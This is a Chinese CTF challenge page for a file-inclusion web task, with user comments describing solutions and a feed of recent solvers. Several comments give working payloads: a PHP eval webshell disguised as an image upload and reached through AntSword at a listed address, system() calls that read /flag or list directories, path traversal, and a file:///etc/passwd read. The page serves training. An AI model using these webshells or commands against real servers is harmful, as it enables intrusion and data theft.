文件包含2WEB 未解决

分数: 35 金币: 4
题目作者: 未知
一  血: dotast
一血奖励: 3金币
解  决: 3884
提  示: 文件包含
描  述:
文件包含2
评论
lysr 3年前

桌面新建文本文档然后输入:<script language="php">@eval($_POST[pass])</script> 再重命名为xx.png,上传之后用中国蚁剑连http://114.67.246.176:16116/index.php?file=upload/202111161218016371.png,显示连接成功

回复 0
109张某 1年前

大佬,中国蚁剑怎么连上的哦,他从服务器端直接过滤了php,直接就把最基本的连接类型阻断了,抓包也不能修改php类型

回复 0

admin138798 3年前

将<script language=php>system("cat /flag")</script>写成jpg文件上传直接访问就有flag了

回复 0

狐萝卜CarroT 3年前

什么意思,直接改成/flag就出来了

回复 0

zxmals 3年前

我这运气 file:///etc/passwd

回复 1

wINFerno 3年前

这题目我使用蚁剑连接不上,就写了<script language="php" >system('ls -al /')</script>查看目录 <script language="php" >system('tac /flag')</script>找到flag

回复 1

zhou0626 3年前

用蚁剑看了眼发现flag文件被放到了根目录

回复 0

andrewlong 3年前

/flag ??????

回复 2
守得云开见月明 3年前

@思南you flag是直接存放在根目录下的

回复 0

思南you 3年前

这是什么原理大佬

回复 0

王大发财 3年前

一个一个传的<script language=php>system("cat ../../../flag")</script>

回复 0

onerm 3年前

猜了一下,直接/flag。。。

回复 0

陈江川0118 3年前

无非就是换了个写一句话木马方式

回复 0

WriteUp

image
harry

4 金币

评分(5)

解题动态

海浪geigei 攻破了该题 46分钟前
alfsage 攻破了该题 12小时前
Hehe0619 攻破了该题 21小时前
ww__ 攻破了该题 1天前
a1451753998 攻破了该题 1天前
dahuaaistudy 攻破了该题 1天前
YGLZ 攻破了该题 2天前
zhuizhui 攻破了该题 2天前
人闲桂花落 攻破了该题 3天前
roopelee 攻破了该题 3天前
dwx1583 攻破了该题 3天前
mecurio 攻破了该题 5天前
qidianzhi 攻破了该题 5天前
跃迁ctfer 攻破了该题 6天前
hackerbugku 攻破了该题 6天前
Future92 攻破了该题 7天前
maomaoht 攻破了该题 7天前
aaaaab 攻破了该题 8天前
千机www 攻破了该题 9天前
QwQQwQ 攻破了该题 10天前
问题反馈